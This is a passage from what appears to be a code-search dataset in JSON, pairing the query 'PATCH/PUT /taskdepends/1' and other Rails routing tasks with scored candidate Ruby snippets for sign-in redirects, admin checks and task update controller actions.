realm_admin_root(realm = @realm)\n \"#{@base_url}/auth/admin/realms/#{realm&.name}\"\n end", "title": "" }, { "docid": "8cee28348c42dfa4908a963105ad969d", "score": "0.61757827", "text": "def after_sign_in_path_for(user)\n\t#redirect to home\n\t\"/leap/\"\n\t#has to be \"\" on local machine\n\t#\"\"\n end", "title": "" }, { "docid": "d9634d9b6d927d7dd8a07a8921493431", "score": "0.6175009", "text": "def admin\n if user_signed_in?\n redirect_to user_root_path\n else\n redirect_to new_user_session_path\n end\n end", "title": "" }, { "docid": "0656c68360c8de4ca07990c9233095ff", "score": "0.6171838", "text": "def redirect_root_to_dashboard\n redirect_to bo_path\n end", "title": "" }, { "docid": "0656c68360c8de4ca07990c9233095ff", "score": "0.6171838", "text": "def redirect_root_to_dashboard\n redirect_to bo_path\n end", "title": "" }, { "docid": "8ccb317088a4d13a893d4ab2808108f2", "score": "0.61595345", "text": "def home\n redirect_to '/login' unless logged_in?\n end", "title": "" }, { "docid": "a992c8b0dd22725abf7bff1df3c39d7a", "score": "0.6152922", "text": "def after_sign_in_path_for(user)\n dashboard_path\n end", "title": "" }, { "docid": "64846006442bcc96caf688684cf97f2f", "score": "0.6148906", "text": "def signed_in_root_path(resource_or_scope)\n if resource_or_scope.is_a?(User) && resource_or_scope.teacher?\n return teacher_dashboard_url\n end\n '/'\n end", "title": "" }, { "docid": "94e8fdc55695f0e400bd301d0771b776", "score": "0.61322904", "text": "def home\n if current_user\n if current_user.test == true || current_user.admin == true\n redirect_to timeslots_path\n else\n redirect_to timeslots_path\n end\n end\n end", "title": "" }, { "docid": "d592003afc6223d8ac8006fcb2ff97ba", "score": "0.612453", "text": "def admin_account\n redirect_to home_path unless current_user.admin?\n end", "title": "" }, { "docid": "935d0929b1c86c78d7ccb8ee00a32d03", "score": "0.6123743", "text": "def after_sign_in_path_for(user)\n\t\texpire_page('/')\n\t\troot_path\n\tend", "title": "" }, { "docid": "0983cb328d46f6194a079a95f761891e", "score": "0.61123645", "text": "def redir_user_home\n redirect \"/users/#{current_user.slug}\"\n end", "title": "" }, { "docid": "887e582bede12b0608bb7774298bb07f", "score": "0.61102563", "text": "def after_sign_in_path_for(user)\n '/dashboard'\n end", "title": "" }, { "docid": "c08ec357ac119558d6cb91a3d51a7618", "score": "0.6109693", "text": "def create\n\t\t# Find the Particular Login User\n\t\tresource = warden.authenticate!(auth_options)\n\t\t# If Admin type is Present then that is navigate to the admin root page\n\t\tif resource.admin == true\n\t\t\t# Navigate to the admin root page\n\t\t\tredirect_to dashboard_admin_index_path\n\t\telse\n\t\t\t# Navigate to the Surgeon root page\n\t\t\tredirect_to root_url\n\t\tend\n\tend", "title": "" }, { "docid": "9f00ed5b69213ce893d27d8ef8088700", "score": "0.61070603", "text": "def after_sign_in_path_for(resource)\n \t dashboard_path\n\t end", "title": "" }, { "docid": "99dc55bedde918c2e01fa6de979e477e", "score": "0.6104477", "text": "def welcome\n # Redirect to index page when user login\n if user_signed_in?\n @folders = current_user.folders unless current_user.nil?\n render :index\n else\n render :welcome\n end\n \n end", "title": "" }, { "docid": "20278a19dfceb4940b896f48d7d9874f", "score": "0.6104385", "text": "def root_or_admin_path\n if UrlGrey::Application.config.root_redirect_enabled\n admin_path\n else\n root_path\n end\n end", "title": "" }, { "docid": "be24f67f7cb6ff639d752e919cf79702", "score": "0.61043394", "text": "def home\n redirect_to user_signed_in? ? user_home_path : new_user_session_path\n end", "title": "" }, { "docid": "a49152e9809abcecd4b25c6d18c54100", "score": "0.6097003", "text": "def default_home_path\n '~'\n end", "title": "" }, { "docid": "903f7c710f85a200e286a9a635216d8e", "score": "0.6094015", "text": "def after_sign_up_path_for(_resource)\n flash[:notice] = 'Welcome! Please follow the steps!'\n if current_user.has_role? :admin\n dashboard_path\n else\n root_path\n end\n end", "title": "" }, { "docid": "e262a568c6eca1072f369a1d4dc52d35", "score": "0.6091891", "text": "def admin_dashboard\n if current_user.class == User\n sign_out_and_redirect(current_user)\n end\n end", "title": "" }, { "docid": "f485c8c9563065a2e14e1201eb334253", "score": "0.60869324", "text": "def after_sign_in_path_for(_resource)\n dashboard_url\n end", "title": "" }, { "docid": "fcd8db97eb1cbfe8cab66f184a3096c1", "score": "0.6076932", "text": "def after_account_switched_path\n root_path\n end", "title": "" }, { "docid": "24c0755b790cd1f811f7b0ae0a81ca90", "score": "0.60763514", "text": "def home\n redirect_to(login_path) and return if !@current_user\n redirect_to(admin_users_path) and return if @current_user.admin\n redirect_to(departments_path) and return if @current_user.head\n redirect_to(holidays_path)\n end", "title": "" }, { "docid": "d9b6d1cc95f61dacadc460ca820135f7", "score": "0.606989", "text": "def root_user\n if !@signed_in || !current_user.sk.root\n render 'errors/access_refused' and return\n end\n end", "title": "" }, { "docid": "417c432380b8ef7c12e6cecefc5f62dd", "score": "0.60647744", "text": "def home_path\n Briefcase.home_path\n end", "title": "" }, { "docid": "9df427330bbff269baaf3b63149a427a", "score": "0.60631365", "text": "def home\n\t\treset_session\n\t\tredirect_to '/lockers/index'\n\tend", "title": "" }, { "docid": "a43d3c27fd214255a647742a1e15f6a3", "score": "0.6059305", "text": "def admin_user\n\t\t\tredirect_to(root_url) unless is_admin?\n\t\tend", "title": "" }, { "docid": "eb3090be4241b42da3682c092f8b8626", "score": "0.6057222", "text": "def after_sign_in_path_for(users)\n dashboard_path\n end", "title": "" }, { "docid": "767792d482aa8df89b8b1458cb908aab", "score": "0.60506666", "text": "def after_provision_path\n MnoEnterprise.router.dashboard_path || main_app.root_path\n end", "title": "" }, { "docid": "3a7f8a571f05afb7a310419ade3628be", "score": "0.6035864", "text": "def auth\n if session[:account] != \"manager\" or session[:currentId].empty?\n redirect_to '/'\n end \n end", "title": "" }, { "docid": "0f8c87624ffe98f4b194e11ac00ccdd3", "score": "0.60354406", "text": "def login\n\t\tredirect_to dashboard_index_path unless current_user.nil?\n\tend", "title": "" }, { "docid": "03ff7b269b2ad95cc19ac525188aadee", "score": "0.6032195", "text": "def after_account_setup_path\n root_path\n end", "title": "" }, { "docid": "8f7c1d7b141a652f41a7b430af34b039", "score": "0.60315824", "text": "def after_sign_in_path_for(user)\n user.class.name == 'AdminUser' ? admin_dashboard_path : root_path\n end", "title": "" }, { "docid": "e02bde99e6949c41ce66afc719cd171e", "score": "0.6030796", "text": "def goldberg_login\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/auth/_login.rhtml\", :use_full_path => false\n end", "title": "" }, { "docid": "bfb89bf9d88aa9e59a143eb02f412e81", "score": "0.60263336", "text": "def signup_path\n \"/auth/dailycred\"\n end", "title": "" }, { "docid": "8ab718b41beea3fcf685ff8cd55b9870", "score": "0.6023024", "text": "def home\n Pathname(OpenCoinage::Wallet::HOME)\n end", "title": "" } ]
7a0267a58de037eab0b4ceb9dffc85fd
PATCH/PUT /taskdepends/1 PATCH/PUT /taskdepends/1.json
[ { "docid": "f53a29ca663fa0fa951b6717c7167a08", "score": "0.6662401", "text": "def update\n respond_to do |format|\n if @taskdepend.update(taskdepend_params)\n format.html { redirect_to @taskdepend, notice: 'Taskdepend was successfully updated.' }\n format.json { render :show, status: :ok, location: @taskdepend }\n else\n format.html { render :edit }\n format.json { render json: @taskdepend.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "b6f478c5856bf747915b0a02f4ad1c3d", "score": "0.66923076", "text": "def update\n respond_to do |format|\n if @dependant_task.update(dependant_task_params)\n format.html { redirect_to @dependant_task, notice: 'Dependant task was successfully updated.' }\n format.json { render :show, status: :ok, location: @dependant_task }\n else\n format.html { render :edit }\n format.json { render json: @dependant_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ae35941e43802ea10ab688e70f1470d7", "score": "0.63658166", "text": "def update\n respond_to do |format|\n if @predepend.update(predepend_params)\n render json: {status: :success, pretask: @pretask}\n else\n render json: {status: :failed, pretask: @pretask}\n end\n end\n end", "title": "" }, { "docid": "cac9c96d9b119273d80222fef2554029", "score": "0.62940943", "text": "def update\n @task.update!(task_params)\n json_response(@task)\n end", "title": "" }, { "docid": "4d33028d054252cf247f8b937a006470", "score": "0.6194533", "text": "def set_taskdepend\n @taskdepend = Taskdepend.find(params[:id])\n end", "title": "" }, { "docid": "a4ebf062d359eb1301dc0f2c416a68e5", "score": "0.61654246", "text": "def update\n @task.update(task_params)\n render json: @task\n end", "title": "" }, { "docid": "099e7266a80d49d1d0e30816e04aff39", "score": "0.61356103", "text": "def update\n task = Task.find(params[:id])\n task.update_attributes(task_params)\n render json: task\n end", "title": "" }, { "docid": "f8a28a6505ea50c795b0a35043dc1a81", "score": "0.6115786", "text": "def update\n\n @task_types = task_types\n if(Task.task_type_valid?(@task.task_type) && @task.task_type.constantize.respond_to?(:callback_task?) && @task.task_type.constantize.callback_task? == true)\n @task.run_type = \"callback\"\n elsif(params[:on_demand] ==\"1\")\n @task.run_type = \"on_demand\"\n @task.metadata ||={}\n if(params[:runtime_override_all] == \"1\")\n @task.metadata[\"runtime_override\"] = true\n else\n @task.metadata[\"runtime_override\"] = params.try(:[],:task).try(:[], :options).try(:[], :runtime_override).to_a.reject(&:blank?)\n end\n else\n @task.run_type = \"scheduled\"\n end\n\n respond_to do |format|\n if @task.update_attributes(task_params)\n @task.events << Event.create(field: \"Task\", action: \"Updated\", user_id: current_user.id)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e6d66ee2c97874b05b6003a8789cc3b", "score": "0.61081725", "text": "def update\n @task = Task.find(params[:id])\n old_status = @task.task_status\n old_contact = nil\n if @task.contact\n old_contact = @task.contact.person\n end\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n create_sub_tasks @task, old_status\n send_assignment_email @task, old_contact\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f1835ed8ea84a34891fba6895a99e71", "score": "0.6062033", "text": "def update\n @task.name = task_params[:name] if task_params[:name]\n @task.status = task_params[:status] if task_params[:status]\n @task.priority = task_params[:order] if task_params[:order]\n @task.note = task_params[:note] if task_params[:note]\n @task.start_date = task_params[:start_date] if task_params[:start_date]\n @task.due_date = task_params[:due_date] if task_params[:due_date]\n @task.attachment = task_params[:attachment] if task_params[:attachment]\n @task.save! if project_valid?\n prioritize(@task) if task_params[:order]\n\n render_project @task.project_id\n end", "title": "" }, { "docid": "2192bb85096528e9cb78e4bfc32681c4", "score": "0.6061513", "text": "def update\n @task = Task.find(params[:id])\n\n if @task.update(params[:task])\n render json: @task, status: :accepted\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "10009d94792ae5f3f9c978c2f3715c0b", "score": "0.6060397", "text": "def update\n @rake_task = RakeTask.find(params[:id])\n\n respond_to do |format|\n if @rake_task.update_attributes(params[:rake_task])\n format.html { redirect_to @rake_task, notice: 'Rake task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rake_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bda5763ef64b5b563ae4fcbe8c030e87", "score": "0.60272974", "text": "def taskdepend_params\n params.require(:taskdepend).permit(:task_id, :taskdependto_id)\n end", "title": "" }, { "docid": "913d8f34208a3d370ef54f85f31b7efa", "score": "0.60220337", "text": "def update\n respond_to do |format|\n if @task_requirement.update(task_requirement_params)\n format.html { redirect_to @task_requirement, notice: 'Task requirement was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_requirement }\n else\n format.html { render :edit }\n format.json { render json: @task_requirement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41dd4fc15ee1fb9ab89fc472b8144df7", "score": "0.60213965", "text": "def update\n task = Task.find(params[:id])#find the task by it's id\n task.update_attributes(task_params)#updates task to show it's done\n render json: task #JSON representation of updated item \n end", "title": "" }, { "docid": "7c7d59dcec77b9dd8bcce3a434a59517", "score": "0.60187984", "text": "def set_dependant_task\n @dependant_task = DependantTask.find(params[:id])\n end", "title": "" }, { "docid": "bc7bc6290cb21c991537618ca455c57f", "score": "0.6016857", "text": "def update\n task = Task.find(params[:id])\n task.update_attributes(task_params)\n render json: task\n end", "title": "" }, { "docid": "36d7ecbdbd4385a277aea39da76753cd", "score": "0.6005184", "text": "def update\n\t\t\t\t@task.update(task_params)\n\t\t\t\trender json: @task, status: 200\n\t\t\tend", "title": "" }, { "docid": "38b9b3e8b3c1013cdd54a59f3af3cc7a", "score": "0.598297", "text": "def update\n \n @task = Task.find(params[:id])\n\n if @task.update(task_params)\n head :no_content\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f23ce10c45db6f9c7fbb1d1efee13a82", "score": "0.5980667", "text": "def update\n @task.update!(task_params)\n head :no_content\n end", "title": "" }, { "docid": "39ae277f8b3607fc50102b0c232547d9", "score": "0.5952639", "text": "def update\n respond_to do |format|\n if @task.update(form_params)\n format.json { render json: { tasks: @task }, status: :ok, location: @task }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e3e549fad8797ea923761c3f722c9b3", "score": "0.5950083", "text": "def update_task(id:, **opts)\n req = {}\n req['template-id'] = opts[:template_id] if opts[:template_id]\n req['type'] = opts[:type] if opts[:type]\n req['dbrps'] = opts[:dbrps] if opts[:dbrps]\n req['script'] = opts[:script] if opts[:script]\n req['status'] = 'disabled'\n req['vars'] = opts[:vars] if opts[:vars]\n\n if opts[:type]\n raise ArgumentError, \"Kapacitor template type can be either 'batch' or 'stream'\" unless opts[:type] == 'batch' || opts[:type] == 'stream'\n end\n\n if opts['status']\n raise ArgumentError, \"Kapacitor task status can be either 'enabled' or 'disabled'\" unless opts[:status] == 'enabled' || opts[:status] == 'disabled'\n end\n\n api_patch(endpoint: \"tasks/#{id}\", data: req) unless req.empty?\n\n if opts[:status] == 'enabled'\n req['status'] = 'enabled'\n api_patch(endpoint: \"tasks/#{id}\", data: req) unless req.empty?\n end\n end", "title": "" }, { "docid": "c1c1e8c3e8830a5d9fc274882624a5ad", "score": "0.59492123", "text": "def update_task_with_http_info(id, task, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.update_task ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.update_task\"\n end\n pattern = Regexp.new(/^\\d+$/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.update_task, must conform to the pattern #{pattern}.\"\n end\n\n # verify the required parameter 'task' is set\n if @api_client.config.client_side_validation && task.nil?\n fail ArgumentError, \"Missing the required parameter 'task' when calling DefaultApi.update_task\"\n end\n # resource path\n local_var_path = '/tasks/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(task) \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#update_task\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "93bb8c6e5006db357030f976b7c72b20", "score": "0.5945307", "text": "def update\n task.update_attributes(params[:task] || params[:build])\n render :nothing => true\n end", "title": "" }, { "docid": "94f0716d4c9ae6d1c8e7db40c43b7a7f", "score": "0.5925506", "text": "def update\n respond_to do |format|\n if @task.update(task_params)\n # Update the tags.\n # tags = task_params['all_tags'].split(\",\").map do |tag|\n # Tag.where(name: tag.strip).first_or_create!\n # end\n # file = task_params[:file]\n # if file\n # cloudObj = Cloudinary::Uploader.upload(file.path, :resource_type => :auto) \n # @task.file = cloudObj['url']\n # @task.filename = task_params[:file].original_filename\n # else\n # @task.file = nil\n @task.priority = task_params['priority'].to_i\n @task.save\n format.html { redirect_to root_path, notice: 'Task was successfully updated.' }\n format.json { render json: @task }\n else\n format.html { render :edit }\n format.json { render json: root_path.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "505b9a7a7114fda7dec4a126164f479f", "score": "0.59228647", "text": "def update_task(project_id, task_id, params = {})\n c_r Lokalise::Resources::Task, :update, [project_id, task_id], params\n end", "title": "" }, { "docid": "27b2f5b19f2bdd7a827993d6a3131612", "score": "0.5916775", "text": "def update\n task = current_user.tasks.find(params[:id])\n\n if task.update_attributes(task_params)\n render json: task, status: 200\n else\n render json: { errors: task.errors }, status: 422\n end\n end", "title": "" }, { "docid": "e4464fcf503f03d0ba5f861e50924f26", "score": "0.59131414", "text": "def update\n\t\tparameters = params[:task] ? task_params : {}\n\t\tdone = params[:done]\n\t\tdone = (done == \"true\") unless params.nil?\n\n\t\tif not done.nil?\n\t\t\tif done\n\t\t\t\t@task.complete\n\t\t\telse\n\t\t\t\t@task.reset\n\t\t\tend\n\t\t\tparameters[:last_completed] = @task.last_completed\n\t\t\tparameters[:next_refresh] = @task.next_refresh\n\t\tend\n\n if @task.update(parameters)\n respond_to do |format|\n format.html { render partial: 'task', content_type: 'text/html', locals: {task: @task} }\n format.json { render json: @task }\n end\n else\n redirect_to_error\n end\n end", "title": "" }, { "docid": "177875a73b31fdbd1195d9dc255781bc", "score": "0.5909164", "text": "def update\n @task = Task.find(params[:id])\n if @task\n @task.toggle!(:completed)\n render json: { message: 'Task successfully updated' }, status: 200\n else\n render json: { error: 'Unable to update Task' }, status: 400\n end\n end", "title": "" }, { "docid": "c46eee787db76bd8630432a05463d751", "score": "0.59084976", "text": "def update\n if @task.update(task_params)\n render json: {status: :success, task: @task}\n else\n render json: {status: :failed, task: @task}\n end\n end", "title": "" }, { "docid": "6727f832e2e9317533addae4ff48413e", "score": "0.59080625", "text": "def update\n @project = Project.find(params[:project_id])\n @task = @project.tasks.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to([@task.project, @task], :notice => 'Task was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f51cc8ced897c5cc5bff79251596056", "score": "0.59000516", "text": "def update\n respond_to do |format|\n if @task.update(task_params)\n format.json { render json: @task, status: :ok }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "53f1a1f837fe5ac8c90a2050bade7565", "score": "0.5887181", "text": "def update\n @task = Task.find(params[:id])\n\n if @task.update(task_params)\n head :no_content\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "91e2d7e6a8bdcbdab2ea5adc5c042f54", "score": "0.58851933", "text": "def dependant_task_params\n params.require(:dependant_task).permit(:task_id)\n end", "title": "" }, { "docid": "5b0788a3b04ec9beff62c8d823bf4206", "score": "0.5882855", "text": "def update\n # call for specific task id \n task = Task.find(params[:id])\n # checks update is in the task prarams\n task.update_attributes(task_params)\n # updates id task on page\n render json: task\n end", "title": "" }, { "docid": "e859e652ef765859d0f1a6b213de1ddf", "score": "0.5877469", "text": "def update_task(id, response)\n auth_token = $1 if response.body =~ /\"csrf-token\".*content=\"(.+)\"/ or nil\n raise \"Not authenticated to perform this action.\" if auth_token.nil?\n\n #COOKIE COOKIE COOKIE COOKIE COOKIE COOKIE\n cookie = response['set-cookie'].split('; ')[0]\n\n uri = URI.parse(\"http://fluttrly.com/tasks/#{id}\")\n http = Net::HTTP.new(uri.host, uri.port) \n request = Net::HTTP::Put.new(uri.request_uri)\n params = {\n 'authenticity_token' => auth_token,\n 'completed' => \"true\"\n }\n request[\"Cookie\"] = cookie\n request.set_form_data(params)\n response = http.request(request)\n end", "title": "" }, { "docid": "ac5d586a76fef9e85439a95edb994e04", "score": "0.5860388", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n prefill_subtasks_helper\n UserMailer.task_update_confirmation(current_user).deliver\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "516b68a997da06eb72134a144b487c23", "score": "0.58598775", "text": "def update\n \n if (!task_params[:task].blank? ) \n if task_params[:steps].nil?\n task_attributes = task_params[:task]\n else\n task_attributes = task_params\n task_attributes.delete(\"task\")\n end\n else\n task_attributes = task_params\n end\n\n steps_attributes = task_attributes.delete(\"steps\")\n\n Step.updateSteps(steps_attributes)\n\n agent = task_attributes.delete('agent')\n\n respond_to do |format|\n if @task.update(task_attributes)\n\n if PushNotificationHelper.shouldSendNotification(agent)\n PushNotificationHelper.sendNotification(@task)\n end\n\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d1604977909ffc8351cb21cf0d5b764a", "score": "0.58545655", "text": "def update\n if @task.update(task_params)\n render json: { status: :ok, message: 'Update task', data: @task }, status: :ok\n else\n render json: { status: :unprocessable_entity, data: @task.errors }, status: :unprocessable_entity \n end\n end", "title": "" }, { "docid": "f893356ac7b090b98f16406ff9d38fda", "score": "0.58510745", "text": "def update\n if task_params[:progress].to_i == 100\n @task.state = 2\n @task.finished_at = DateTime.now\n end\n respond_to do |format|\n if @task.update(task_params)\n # check if assigned bug is now finished\n @task.bugs.each do |bug|\n if !bug.tasks.any?{|t| Task.states[t.state] != 2}\n bug.state = 1\n bug.save\n end\n end\n format.html { redirect_to project_task_path(@project, @task), notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n # p @task.errors.inspect\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f98b1137ae5df0722a36d38bd58ccde5", "score": "0.5845744", "text": "def update\n @task = Task.find(params[:id])\n\n Rails.logger.info \"Worker #{params[:task][:worker]}\"\n worker = User.find_by_username(params[:task][:worker])\n params[:task][:worker] = worker\n\n Rails.logger.info\">> Tasks update: #{params}\"\n\n # if completed, set date and user\n if params[:task][:completed].eql? \"true\"\n Rails.logger.info\">> Task completed!\"\n params[:task][:completed_at] = Time.now\n params[:task][:completed_by] = current_user.id\n elsif params[:task][:completed].eql? \"false\"\n Rails.logger.info\">> Task reopend!\"\n params[:task][:completed_at] = nil\n params[:task][:completed_by] = nil\n end\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n if @task.tasklist\n format.html { redirect_to project_tasklist_path(@project, @task.tasklist), :flash => { :success =>'Task was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { redirect_to project_tasklists_path(@project), :flash => { :success =>'Task was successfully updated.' } }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a60de7a96aa6231b8fa6e0ee1af7b580", "score": "0.5843936", "text": "def update\n @task = @task.do_before_update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9cb0bf80a8b25558be07c05e9ecb086c", "score": "0.58408034", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:tasks])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f11db7edbf8bf3f0a72123e21f5a31b3", "score": "0.584036", "text": "def update\n @task = Task.find(params[:id])\n\n @newtask = @task.opportunity.tasks.build()\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :ok }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "75b28f3f3cc5602322b0120458be29a0", "score": "0.5840298", "text": "def update\n @task = Task.find(params[:id])\n if your_task?(@task)\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to projects_url, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "f74539d2c1e0aee3be2464cb5c02bced", "score": "0.5830673", "text": "def updateDeps(rakeTask)\n\t\treturn true\n\tend", "title": "" }, { "docid": "9b2c14f01cd4814a5a1cf3c895e76cb9", "score": "0.58305866", "text": "def update\n Alphonse.logger.operation config[:update_description]\n prerequisite.push config[:update].map { |task| send(task) }\n end", "title": "" }, { "docid": "c0518ce4d5188ee02c77a6399c53e37a", "score": "0.58303297", "text": "def updateDeps(rakeTask)\n\t\traise 'to be implemented by subclasses'\n\tend", "title": "" }, { "docid": "f3f6e80c474f502e6a11dc4b6259aaf2", "score": "0.58265954", "text": "def update\n respond_with @task.update(task_params)\n end", "title": "" }, { "docid": "73f2404f624d61c1686405529578a0bb", "score": "0.58252525", "text": "def update_task_with_http_info(id, task, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TaskApi.update_task ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling TaskApi.update_task\"\n end\n pattern = Regexp.new(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling TaskApi.update_task, must conform to the pattern #{pattern}.\"\n end\n\n # verify the required parameter 'task' is set\n if @api_client.config.client_side_validation && task.nil?\n fail ArgumentError, \"Missing the required parameter 'task' when calling TaskApi.update_task\"\n end\n # resource path\n local_var_path = '/tasks/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(task) \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TaskApi#update_task\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "7d515f34609fe7b0f6e0b0c2c2b4b381", "score": "0.58231556", "text": "def update\n respond_to do |format|\n if @api_v1_task.update(api_v1_task_params)\n format.html { redirect_to @api_v1_task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_task }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e4858a30adb0b8b7ea3a96c0ef8f163", "score": "0.58129066", "text": "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to artifact_tasks_path(artifact_id: @task.artifact_id), notice: (t 'tasks.flash.updated') }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa8a58bba024ef92469d91ef804486af", "score": "0.58108133", "text": "def update\n @task.task_name = params[:task][:task_name]\n @task.performed_on = params[:task][:performed_on]\n @task.hours = params[:task][:hours]\n @task.notes = params[:task][:notes]\n project = Project.find_by_name(params[:task][:project_name])\n @task.project = project\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render json: @task }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01b43e2e57737b2a9061febda34a05a2", "score": "0.5792365", "text": "def update\n @task.update(task_params)\n respond_with(@task)\n end", "title": "" }, { "docid": "c0397e25028887f310cf0aab81ef51f0", "score": "0.577597", 